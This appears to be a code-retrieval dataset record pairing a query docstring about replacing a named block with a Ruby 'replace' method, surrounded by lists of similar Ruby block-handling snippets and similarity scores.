"def render_block(name_or_container, *args, &block)\n buffer = ActiveSupport::SafeBuffer.new\n\n name, block_render_options = extract_block_name_and_options(name_or_container)\n\n block_definition_options = {}\n if blocks[name]\n block_container = blocks[name]\n block_definition_options = block_container.options\n end\n\n options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)\n\n if blocks[name]\n block_container = blocks[name]\n args.push(options)\n buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)\n elsif options[:use_partials] && !options[:skip_partials]\n begin\n begin\n buffer << view.render(\"#{name.to_s}\", options)\n rescue ActionView::MissingTemplate, ArgumentError\n buffer << view.render(\"#{options[:partials_folder]}/#{name.to_s}\", options)\n end\n rescue ActionView::MissingTemplate, ArgumentError\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n else\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n\n buffer\n end",
"def block(name, &block)\n klass = SuperbTextConstructor.block(name, &block)\n @blocks << klass\n klass\n end",
"def content_tag_with_block(name, content_or_options_with_block=nil,options={})\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content_tag_without_block(name, yield, options)\n else\n content_tag_without_block(name, content_or_options_with_block, options)\n end\n end",
"def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end",
"def set_block &b\n @block = b\n end",
"def build_block_container(*args, &block)\n options = args.extract_options!\n\n anonymous = false\n if args.first\n name = args.shift\n else\n name = self.anonymous_block_name\n anonymous = true\n end\n\n block_container = Blocks::Container.new\n block_container.name = name.to_sym\n block_container.options = options\n block_container.block = block\n block_container.anonymous = anonymous\n block_container\n end",
"def block_definition(block_node)\n buff_code \"__blocks['#{block_node.name}'] = __create_block('#{block_node.name}', #{location_node(block_node)}) do\"\n\n code_indent do\n visit_node_children(block_node)\n end\n\n buff_code 'end'\n end",
"def set_block_params(name, params)\n\t\t\tparams = {} if !params.is_a?(Hash)\n\t\t\t@vars[:block_params][name] = params\n\t\tend",
"def configure(&block)\n raise ArgumentError, \"Block is required.\" unless block_given?\n yield @options\n end",
"def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end",
"def run(name=:main, options={}, &block)\n name = name.to_sym\n if !run_blocks.key? name\n options[:name] = name\n self.run_blocks[name] = [options, block]\n else\n raise NameError.new(\"Run block named #{name} already exists!\")\n end\n end",
"def block_to_partial(partial_name, options = {}, &block)\n #puts \"PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}\"\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block\n (@blocks ||= Array.new) << Block.new\n @in_block = @blocks.last\n yield\n @in_block = nil\n end",
"def block(options)\n [\n %[snippet #{options[:name]} \"#{options[:desc]}\"],\n options[:snip],\n \"endsnippet\"\n ].join(\"\\n\")\n end",
"def _(name)\n raise ArgumentError, \"provide missing block\" unless block_given?\n config = self[name] ||= self.class.new\n yield config\n end",
"def wrapping_block(method_name, **defaults)\n proc do |*args, **values|\n send method_name, *args, **defaults, **values\n end\n end",
"def blocks; end",
"def blocks; end",
"def blocks; end",
"def set_blocks hash\n\t\t\t@blocks = hash\n\t\tend",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n @options = options\n concat(render(:partial => partial_name), block.binding)\n end",
"def duas2\n # calls the default_block\n yield 1\n yield 2\nend",
"def fragment(name, *args, &block)\n if block_given?\n warn \"fragment definition form (with block) is deprecated. Use #def_fragment instead\"\n def_fragment(name, *args, &block)\n else\n use_fragment(name, *args)\n end\n end",
"def replace(name, options={}, &block)\n blocks[name.to_sym] = nil\n define(name, options, &block)\n end",
"def set_blocks(x0,y0,z0,x1,y1,z1,block)\n @api.send(\"world.setBlocks(#{x0},#{y0},#{z0},#{x1},#{y1},#{z1},#{block.as_parameter_list})\")\n end",
"def initialize(name)\n @name = name\n @options = {}\n\n yield self if block_given?\n\n define\n end",
"def m12a(p1,p2,p3, &blk)\n\tyield(p1,p2) # два параметра передаем в блок\n\tputs \"The third parameter is #{p3}\" # один параметр испоьзуем прямо тут\nend",
"def block_example(&block)\n does block\n end",
"def add(name, &block)\n define_method(name.to_sym) { yield block }\n end",
"def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def basic_blocks\n cfg.blocks\n end",
"def block_method\n yield(\"Brandon\",\"CS\")\n yield(\"Katie\",\"Econ\")\nend",
"def register_block_for(type, &blk); end",
"def extend_block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] += value\n return self._template.blocks[name]\n end",
"def around(name, options={}, &block)\n self.add_block_container_to_list(\"around_#{name.to_s}\", options, &block)\n nil\n end",
"def initialize(name, map=nil, block=nil)\n unless block || map\n raise ArgumentError, 'need map block or both'\n end\n\n block ||= DEFAULT_BLOCK\n\n @name, @map, @block = name, map, block\n\n freeze\n end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def get_blocks(options = {block_range: (0..0)}, &block)\n get_block_objects(options.merge(object: :block), block)\n end",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def foo(name, &block)\n @name = name\n block.call\nend",
"def create_block_object(&block)\n block\nend",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def function_define(name=\"\",&block)\n \"function #{name}() { #{block.call} }\" \n end",
"def gimme_your_blocks\n yield if block_given?\nend",
"def block(hash)\n best_of('block') do |api|\n api.block(hash)\n end\n end",
"def group(name, &block)\n namespace = Namespace.new(name, &block)\n @blocks << namespace\n namespace\n end",
"def configure(&block)\n raise ArgumentError, \"Block required in order to configure\" unless block_given?\n \n yield @config\n end",
"def set_block_argument_names\n @block_argument_names = if has_block? && element[2].is_a?(Sexp) # HACK: for lambdas\n element[2].drop(1).map { |argument| argument }\n end || []\n end",
"def block_class() Block; end",
"def method_1 nombre, &bloque\n yield if block_given? # bloque.call if block_given? #llamamos a nuestro bloque\nend",
"def <<(block)\n blocks << block\n end",
"def with_block(&block)\n end",
"def blocks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.blocks ...'\n end\n # resource path\n local_var_path = '/api/v1/blocks'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'start'] = opts[:'start'] if !opts[:'start'].nil?\n query_params[:'end'] = opts[:'_end'] if !opts[:'_end'].nil?\n query_params[:'seq'] = @api_client.build_collection_param(opts[:'seq'], :multi) if !opts[:'seq'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2001' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#blocks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def block_render(_partial_name, _partial_locals={})\n render(:layout => _partial_name, :locals => _partial_locals) do\n yield\n end\n end",
"def block_name\n if @split_across\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (across dataset)\"\n else\n \"Block #{@block_num} of #{@block_size} words (across dataset)\"\n end\n else\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (within \\\"#{@current_doc.title}\\\")\"\n else\n \"Block #{@block_num} of #{@block_size} words (within \\\"#{@current_doc.title}\\\")\"\n end\n end\n end",
"def set_block_params(item)\n if block_params.blank?\n commands.object = item\n elsif item.is_a?(Array) && item.size > 1\n # split item into block variables\n # the # of @block_params may be < the # of subitems, so put it first\n block_params.zip(item).each {|param, subitem| commands.set(param, subitem) }\n else\n # now this item is available thru the block variable\n commands.set(block_params.first, item)\n end\n end",
"def layout(name=:default, &block)\n @layouts[name] = block\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def each(options={}, &block)\n end",
"def with_macros(name=nil, &block)\n\t\t\traise ArgumentError, \"No block given\" unless block_given?\n\t\t\tname = name.to_sym if name\n\t\t\tif !name then\n\t\t\t\tunless @macros.blank? then\n\t\t\t\t\t@macros.each(&block)\n\t\t\t\telse\n\t\t\t\t\t@doc.structure.descend do |n, level|\n\t\t\t\t\t\tif n.is_a?(Glyph::MacroNode) && n.source\n\t\t\t\t\t\t\t@macros << n\n\t\t\t\t\t\t\tmacro_array_for(n[:name]) << n\n\t\t\t\t\t\t\tblock.call n\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\texisting = @macros_by_def[name]\n\t\t\t\tif existing then\n\t\t\t\t\texisting.each(&block)\n\t\t\t\telse\n\t\t\t\t\tmacros = []\n\t\t\t\t\t@doc.structure.descend do |n, level|\n\t\t\t\t\t\tif n.is_a?(Glyph::MacroNode) && macro_eq?(name, n[:name]) && n.source\n\t\t\t\t\t\t\tmacros << n\n\t\t\t\t\t\t\tblock.call n\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t@macros_by_def[name] = macros\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def cxx_configuration(&block)\n @myblock = block\n @all_blocks = []\n end",
"def callBlock\n yield ,\n end",
"def configuration(name, &block)\n config = Configuration.new\n config.instance_eval(&block)\n @configurations[name] = config\n end",
"def area(name, content = nil, &block)\n content = capture(&block) if block_given?\n append name, content\n render_area name\n end",
"def code_block_parameter\n puts \"random function name\"\n yield 10, 20, 30\n #yield (10,20,30) --> not working\n\n puts \"after Yield, Yes () are optional\"\n\n\nend",
"def has_block(name)\n @blocks.key?(name.to_s)\n end",
"def initialize(options = {}, &block)\n\t\t \n\t\t\tyield self unless block == nil\n\t\tend",
"def each_registered_block(type, &block); end",
"def mailing(name, &block)\n definition = MailControl::DefinitionDSL.new(name)\n definition.instance_eval(&block)\n MailControl::Definition.register(definition)\n end",
"def display_block(name, context, blocks = {}, use_blocks = true)\n name = name.to_s\n if use_blocks && blocks.key?(name)\n template = blocks[name][0]\n block = blocks[name][1]\n elsif @blocks.key?(name)\n template = @blocks[name][0]\n block = @blocks[name][1]\n else\n template = nil\n block = nil\n end\n\n if !template.nil?\n # avoid RCEs when sandbox is enabled\n unless template.is_a?(Twig::Template)\n raise LogicException.new('A block must be a method on a Twig::Template instance.')\n end\n begin\n template.send(block.to_sym, context, blocks)\n rescue Twig::Error => ex\n unless ex.get_template_file\n ex.set_template_file(template.get_template_name)\n end\n # this is mostly useful for Twig::Error::Loader exceptions\n # see Twig::Error::Loader\n unless ex.get_template_line\n ex.set_template_line(-1)\n ex.guess\n end\n raise ex\n rescue => ex\n raise Twig::Error::Runtime.new(\"An exception has been thrown during the rendering of a template (\\\"#{ex.message}\\\").\", -1, template.get_template_name, ex)\n end\n elsif (false != parent = get_parent(context))\n parent.display_block(name, context, @blocks.merge(blocks), false)\n end\n end",
"def define method_name, &block\n machine.named_procs[method_name] = block\n end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end"
] |
[
"0.79023236",
"0.68490136",
"0.6795098",
"0.6732078",
"0.6394409",
"0.6391756",
"0.63572186",
"0.63399476",
"0.63368434",
"0.6305341",
"0.6289439",
"0.61833805",
"0.615229",
"0.6132293",
"0.6122384",
"0.6120324",
"0.59682924",
"0.5964644",
"0.5927705",
"0.5924114",
"0.5904602",
"0.5849632",
"0.5830056",
"0.58004284",
"0.5790807",
"0.57672",
"0.5723371",
"0.57202035",
"0.571929",
"0.5654594",
"0.5646822",
"0.5644071",
"0.5644071",
"0.5644071",
"0.56436086",
"0.56300926",
"0.56199616",
"0.5601891",
"0.55942714",
"0.55836046",
"0.5573851",
"0.55727196",
"0.5571761",
"0.55615383",
"0.5554966",
"0.555388",
"0.555388",
"0.55428547",
"0.5524514",
"0.5524096",
"0.5523195",
"0.55217135",
"0.5512457",
"0.55092144",
"0.5506206",
"0.5501258",
"0.54990125",
"0.54614896",
"0.5457672",
"0.5457672",
"0.5457672",
"0.54403496",
"0.54403496",
"0.5429328",
"0.5400923",
"0.53756636",
"0.5371951",
"0.53658634",
"0.5362712",
"0.53519076",
"0.53491867",
"0.53465104",
"0.53315055",
"0.5328937",
"0.53252256",
"0.5320329",
"0.53156507",
"0.5312672",
"0.5309815",
"0.5294575",
"0.52917784",
"0.5277869",
"0.52739215",
"0.5272568",
"0.5271789",
"0.5270797",
"0.52641416",
"0.5258558",
"0.5256275",
"0.5253458",
"0.52518994",
"0.5245668",
"0.52404976",
"0.52404976",
"0.52404976",
"0.52404976",
"0.52404976",
"0.52404976",
"0.52404976",
"0.52404976"
] |
0.7043358
|
1
|
Define a block, replacing an existing block by the same name if it is already defined. "1", :parameter2 => "2" do |options| %> and "3", :parameter4 => "4" do |options| %> and Options: [+name+] The name of the block being defined (either a string or a symbol) [+options+] The default options for the block definition. Any or all of these options may be overridden by whomever calls "blocks.render" on this block. [+block+] The block that is to be rendered when "blocks.render" is called for this block.
|
def replace(name, options={}, &block)
blocks[name] = nil
self.define_block_container(name, options, &block)
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def replace(name, options={}, &block)\n block_definitions.delete(name)\n define(name, options, &block)\n end",
"def define(*args, &block)\n options = args.extract_options!\n\n name = if args.first\n args.shift\n else\n anonymous = true\n self.anonymous_block_number += 1\n \"anonymous_block_#{anonymous_block_number}\"\n end\n\n block_definitions[name].tap do |block_definition|\n block_definition.reverse_merge! options, &block\n block_definition.anonymous = !!anonymous\n end\n end",
"def replace(name, options={}, &block)\n blocks[name.to_sym] = nil\n define(name, options, &block)\n end",
"def set_block_params(name, params)\n\t\t\tparams = {} if !params.is_a?(Hash)\n\t\t\t@vars[:block_params][name] = params\n\t\tend",
"def add_block name, hash\n\t\t\t@blocks ||= {}\n\t\t\t@blocks[name] = hash\n\t\tend",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end",
"def block name, processor, delimiter = nil, &block\n processor = resolve_processor_class processor\n @blocks[name] = processor\n if block_given?\n @block_delimiters[block] = name\n elsif delimiter && delimiter.is_a?(Regexp)\n @block_delimiters[delimiter] = name\n end\n end",
"def add(name, &block)\n blocks[name.to_sym] = block\n end",
"def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end",
"def content_tag_with_block(name, content_or_options_with_block=nil,options={})\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content_tag_without_block(name, yield, options)\n else\n content_tag_without_block(name, content_or_options_with_block, options)\n end\n end",
"def block(name=\"block\", &proc)\n gen = self.class.new(@library, @module, @function, @function.add_block(name))\n gen.instance_eval(&proc)\n return gen\n end",
"def define_block_container(*args, &block)\n block_container = self.build_block_container(*args, &block)\n blocks[block_container.name] = block_container if blocks[block_container.name].nil? && block_given?\n block_container\n end",
"def define &block\n new block\n end",
"def block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] ||= value\n return self._template.blocks[name]\n end",
"def blocks(options = {}, &block)\n block_objects(options.merge(object: :blocks), block)\n end",
"def fragment(name, *args, &block)\n if block_given?\n warn \"fragment definition form (with block) is deprecated. Use #def_fragment instead\"\n def_fragment(name, *args, &block)\n else\n use_fragment(name, *args)\n end\n end",
"def block_definition(block_node)\n buff_code \"__blocks['#{block_node.name}'] = __create_block('#{block_node.name}', #{location_node(block_node)}) do\"\n\n code_indent do\n visit_node_children(block_node)\n end\n\n buff_code 'end'\n end",
"def extend_block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] += value\n return self._template.blocks[name]\n end",
"def block(name, &block)\n klass = SuperbTextConstructor.block(name, &block)\n @blocks << klass\n klass\n end",
"def set_block &b\n @block = b\n end",
"def block_to_partial(partial_name, options = {}, &block)\n #puts \"PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}\"\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block\n options.fetch(:block)\n end",
"def run(name=:main, options={}, &block)\n name = name.to_sym\n if !run_blocks.key? name\n options[:name] = name\n self.run_blocks[name] = [options, block]\n else\n raise NameError.new(\"Run block named #{name} already exists!\")\n end\n end",
"def update_block(name, value)\n ContentBlock.find_or_create_by(name: name.to_s).update!(value: value)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n @options = options\n concat(render(:partial => partial_name), block.binding)\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def _(name)\n raise ArgumentError, \"provide missing block\" unless block_given?\n config = self[name] ||= self.class.new\n yield config\n end",
"def configure(&block)\n raise ArgumentError, \"Block is required.\" unless block_given?\n yield @options\n end",
"def set_blocks(x0,y0,z0,x1,y1,z1,block)\n @api.send(\"world.setBlocks(#{x0},#{y0},#{z0},#{x1},#{y1},#{z1},#{block.as_parameter_list})\")\n end",
"def define(name, options={}, &block)\n collection = options.delete(:collection)\n\n if collection\n collection.each do |object|\n define(call_with_params(name, object, options), options, &block)\n end\n else\n self.define_block_container(name, options, &block)\n end\n\n nil\n end",
"def render_block(name_or_container, *args, &block)\n buffer = ActiveSupport::SafeBuffer.new\n\n name, block_render_options = extract_block_name_and_options(name_or_container)\n\n block_definition_options = {}\n if blocks[name]\n block_container = blocks[name]\n block_definition_options = block_container.options\n end\n\n options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)\n\n if blocks[name]\n block_container = blocks[name]\n args.push(options)\n buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)\n elsif options[:use_partials] && !options[:skip_partials]\n begin\n begin\n buffer << view.render(\"#{name.to_s}\", options)\n rescue ActionView::MissingTemplate, ArgumentError\n buffer << view.render(\"#{options[:partials_folder]}/#{name.to_s}\", options)\n end\n rescue ActionView::MissingTemplate, ArgumentError\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n else\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n\n buffer\n end",
"def set_block(x,y,z,block)\n @api.send(\"world.setBlock(#{x},#{y},#{z},#{block.as_parameter_list})\")\n end",
"def configuration(name, &block)\n config = Configuration.new\n config.instance_eval(&block)\n @configurations[name] = config\n end",
"def set_blocks hash\n\t\t\t@blocks = hash\n\t\tend",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def name=(newName)\n return if name == newName.to_s\n @blockType = BlockType[newName]\n end",
"def config(name, &block)\n config = ConfigVariable.new(name)\n if block\n config.instance_eval(&block)\n end\n variables[name] = config\n end",
"def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def layout(name=:default, &block)\n @layouts[name] = block\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n render(:partial => partial_name, :locals => options)\n end",
"def configure(config = nil, &block)\n config ||= Util::BlockHashBuilder.build(&block)\n @config = config.dup.freeze\n end",
"def function_define(name=\"\",&block)\n \"function #{name}() { #{block.call} }\" \n end",
"def configure(&block)\n raise ArgumentError, \"Block required in order to configure\" unless block_given?\n \n yield @config\n end",
"def block_params=(value)\n # 'yield.to_s' or 'assert yield, msg'\n return @block_params = '' if value =~ /^[\\.,]/\n\n # remove trailing 'if/unless ...'\n return @block_params = '' if value =~ /^(if|unless)\\s/\n\n value = $1.strip if value =~ /^(.+)\\s(if|unless)\\s/\n\n # outer parentheses\n value = $1 if value =~ /^\\s*\\((.*)\\)\\s*$/\n value = value.strip\n\n # proc/lambda\n return @block_params = $1 if value =~ /^(proc|lambda)(\\s*\\{|\\sdo)/\n\n # surrounding +...+ or [...]\n value = $1.strip if value =~ /^\\+(.*)\\+$/\n value = $1.strip if value =~ /^\\[(.*)\\]$/\n\n return @block_params = '' if value.empty?\n\n # global variable\n return @block_params = 'str' if value =~ /^\\$[&0-9]$/\n\n # wipe out array/hash indices\n value.gsub!(/(\\w)\\[[^\\[]+\\]/, '\\1')\n\n # remove @ from class/instance variables\n value.gsub!(/@@?([a-z0-9_]+)/, '\\1')\n\n # method calls => method name\n value.gsub!(/([A-Z:a-z0-9_]+)\\.([a-z0-9_]+)(\\s*\\(\\s*[a-z0-9_.,\\s]*\\s*\\)\\s*)?/) do\n case $2\n when 'to_s' then $1\n when 'const_get' then 'const'\n when 'new' then\n $1.split('::').last. # ClassName => class_name\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n downcase\n else\n $2\n end\n end\n\n # class prefixes\n value.gsub!(/[A-Za-z0-9_:]+::/, '')\n\n # simple expressions\n value = $1 if value =~ /^([a-z0-9_]+)\\s*[-*+\\/]/\n\n @block_params = value.strip\n end",
"def wrapping_block(method_name, **defaults)\n proc do |*args, **values|\n send method_name, *args, **defaults, **values\n end\n end",
"def initialize(name)\n @name = name\n @options = {}\n\n yield self if block_given?\n\n define\n end",
"def display_block(name, context, blocks = {}, use_blocks = true)\n name = name.to_s\n if use_blocks && blocks.key?(name)\n template = blocks[name][0]\n block = blocks[name][1]\n elsif @blocks.key?(name)\n template = @blocks[name][0]\n block = @blocks[name][1]\n else\n template = nil\n block = nil\n end\n\n if !template.nil?\n # avoid RCEs when sandbox is enabled\n unless template.is_a?(Twig::Template)\n raise LogicException.new('A block must be a method on a Twig::Template instance.')\n end\n begin\n template.send(block.to_sym, context, blocks)\n rescue Twig::Error => ex\n unless ex.get_template_file\n ex.set_template_file(template.get_template_name)\n end\n # this is mostly useful for Twig::Error::Loader exceptions\n # see Twig::Error::Loader\n unless ex.get_template_line\n ex.set_template_line(-1)\n ex.guess\n end\n raise ex\n rescue => ex\n raise Twig::Error::Runtime.new(\"An exception has been thrown during the rendering of a template (\\\"#{ex.message}\\\").\", -1, template.get_template_name, ex)\n end\n elsif (false != parent = get_parent(context))\n parent.display_block(name, context, @blocks.merge(blocks), false)\n end\n end",
"def placeholder(&block)\n\t\t\tkey = \"‡‡‡‡‡PLACEHOLDER¤#{@placeholders.length+1}‡‡‡‡‡\".to_sym\n\t\t\t@placeholders[key] = block\n\t\t\tkey\n\t\tend",
"def around(name, options={}, &block)\n self.add_block_container_to_list(\"around_#{name.to_s}\", options, &block)\n nil\n end",
"def foo(name, &block)\n @name = name\n block.call\nend",
"def raw_block_to_partial(partial_name, options = {}, &block)\n options.merge!(:block => block)\n render(:partial => partial_name, :locals => options)\n end",
"def initialize(name, map=nil, block=nil)\n unless block || map\n raise ArgumentError, 'need map block or both'\n end\n\n block ||= DEFAULT_BLOCK\n\n @name, @map, @block = name, map, block\n\n freeze\n end",
"def replace(name, content = nil, &block)\n content = capture(&block) if block_given?\n add_instruction_to_area name, :replace, [content]\n end",
"def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end",
"def cxx_configuration(&block)\n @myblock = block\n @all_blocks = []\n end",
"def setting_object(name, &block)\n new_config = ConfigStruct.new(\"#{@name}.#{name}\")\n @setting_objects[name] = []\n @setting_templates[name] = new_config\n new_config.instance_eval(&block)\n end",
"def config(&block_)\n ::Blockenspiel.invoke(block_, @config) if block_\n @config\n end",
"def configure(&block)\n fail InvalidSyntax, '`configure` requires a block.' unless block_given?\n\n Vedeu::Configuration.configure(&block)\n end",
"def build_block_container(*args, &block)\n options = args.extract_options!\n\n anonymous = false\n if args.first\n name = args.shift\n else\n name = self.anonymous_block_name\n anonymous = true\n end\n\n block_container = Blocks::Container.new\n block_container.name = name.to_sym\n block_container.options = options\n block_container.block = block\n block_container.anonymous = anonymous\n block_container\n end",
"def block(options)\n [\n %[snippet #{options[:name]} \"#{options[:desc]}\"],\n options[:snip],\n \"endsnippet\"\n ].join(\"\\n\")\n end",
"def global_option(name, *options, &block)\n if name.is_a? Hash\n name.each do |alias_name, option_name|\n option = @global_parameters[option_name]\n if option.nil?\n @global_parameters[alias_name] = option_name\n else\n option.aliases << alias_name\n @global_parameters[alias_name] = option\n end\n end\n else\n option = Option.new(self, name, *options, &block)\n @global_parameters.each do |option_alias, option_name|\n if option_name == option.name\n @global_parameters[option_alias] = option\n option.aliases << option_alias\n end\n end\n @global_parameters[option.name] = option\n end\n end",
"def let name, &block\n\t @sketch.define_parameter name, &block\n\tend",
"def initialize(name, parameters, block)\n @name = name\n @parameters = parameters\n @block = block\n @method = false\n end",
"def with_options(options = {}, &block)\n return unless block\n backup_options = @stkw_config[:base_opt]\n @stkw_config[:base_opt] = @stkw_config[:base_opt].merge(options)\n begin\n instance_eval &block\n ensure\n @stkw_config[:base_opt] = backup_options\n end\n end",
"def add(name, &block)\n define_method(name.to_sym) { yield block }\n end",
"def type_from_block(name, &block)\n raise ArgumentError unless block_given?\n\n const_set(\n \"InlineType_#{name.to_s.capitalize}\",\n Class.new(Refined) { class_eval(&block) }\n )\n end",
"def group(name, &block)\n namespace = Namespace.new(name, &block)\n @blocks << namespace\n namespace\n end",
"def with_block(&block)\n end",
"def config(&block)\n instance_eval(&block) if block_given?\n end",
"def baz(name, &block)\n @name = name\n block.call\nend",
"def m12a(p1,p2,p3, &blk)\n\tyield(p1,p2) # два параметра передаем в блок\n\tputs \"The third parameter is #{p3}\" # один параметр испоьзуем прямо тут\nend",
"def duas2\n # calls the default_block\n yield 1\n yield 2\nend",
"def initialize(name, default_value = nil, &block)\n raise ArgumentError, \"Waw variables accept a default value or a block, but not both\"\\\n unless default_value.nil? or block.nil?\n @name, @default_value = name, (block ? block : default_value)\n end",
"def set_block_argument_names\n @block_argument_names = if has_block? && element[2].is_a?(Sexp) # HACK: for lambdas\n element[2].drop(1).map { |argument| argument }\n end || []\n end",
